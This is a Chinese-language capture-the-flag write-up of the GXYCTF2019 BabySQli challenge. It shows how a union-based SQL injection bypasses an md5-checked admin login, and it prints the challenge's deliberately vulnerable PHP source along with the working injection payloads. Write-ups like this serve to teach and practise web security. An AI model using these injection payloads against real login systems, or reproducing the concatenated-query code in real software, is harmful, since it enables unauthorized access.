[GXYCTF2019]BabySQli write-up
(0)

打开题目发现是一个常见的登录框


用户名输入1'发现报错

查看源代码发现上面有一行奇怪的注释

base32 只有大写字母和数字数字组成,或者后面有三个等号。

base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。

上面明显是base32。解密后发现还有一层base64,再解密
得到 select * from user where username = '$name'

典型的字符型注入,首先order by发现似乎被过滤了。尝试使用union select试,幸好没被过滤

1' union select 1,2,3 # 回显正常而 1' union select 1,2,3,4 #报错,得知列数为3。

接下来是常规的爆数据库,爆表,爆列,爆字段。
发现database()似乎被过滤了,决定换一种思路

发现当用户名输入admin而密码乱输时报错为wrong pass,而输入其他用户名时报错wrong user,所以用户名应该是admin。可能先判断username在不在数据库,再判断密码对不对。盲猜数据库的列名为id,user,password

没有思路,网上看了大佬的博客得知原题目为

刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!

猜测其后端代码为:

?php
    if($row['username']==’admin’){
        if($row['password']==md5($pass)){
            echo $flag;
        }else{
            echo “wrong pass!”;
        }
    }
    else{ echo “wrong user!”;}
?>

从大佬们的博客中学到了一个联合查询的知识点:

当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。(临时的)

本地环境的测试如下:

于是得到思路,联合查询构造用户名字段admin,密码为我们想要输入的密码的md5值。

于是构造payload。

username栏:0' union select 0,'admin','e10adc3949ba59abbe56e057f20f883e'#

password栏123456

// e10adc3949ba59abbe56e057f20f883e为"123456"的md5

最终得到flag。

问题

当username栏填 admin' union select 0,'admin','e10adc3949ba59abbe56e057f20f883e'# 时无效,只显示wrong pass。

看了一下题目的源代码

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
    function stripslashes_deep($value)
    {
        $value = is_array($value) ?
        array_map('stripslashes_deep', $value) :
        stripslashes($value);
        return $value;
    }

    $_POST = array_map('stripslashes_deep', $_POST);
    $_GET = array_map('stripslashes_deep', $_GET);
    $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
    $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
    die("do not hack me!");
}
else{
    if (!$result) {
        printf("Error: %s\n", mysqli_error($con));
        exit();
    }
    else{
        // echo '<pre>';
        $arr = mysqli_fetch_row($result);
        // print_r($arr);
        if($arr[1] == "admin"){
            if(md5($password) == $arr[2]){
                echo $flag;
            }
            else{
                die("wrong pass!");
            }
        }
        else{
            die("wrong user!");
        }
    }
}

?>

其顺序是先执行sql语句,得到结果集,然后过滤,然后执行 $arr = mysqli_fetch_row($result); 得到一个数组。然后再判断数组的arr[1]是否为admin

mysqli_fetch_row() 函数从结果集中取得一行,并作为枚举数组返回。

在本地环境中做一次实验

可以看出如果在username处填写 admin' union select 0,'admin','e10adc3949ba59abbe56e057f20f883e'# 会导致mysqli_fetch_row() 函数从结果集中取得的一行为数据库中原有的admin那一行,便不能登录成功,所以需要填写数据库中本来不存在的字段名,让我们构造的新的 admin,password被取出。

思考:如果没有参考别人的writeup,感觉很难做到最后一步。需要多开脑洞,多尝试,不放弃

本文为作者silent666发布,未经允许禁止转载!
上一篇 下一篇
评论
暂无评论 >_<
加入评论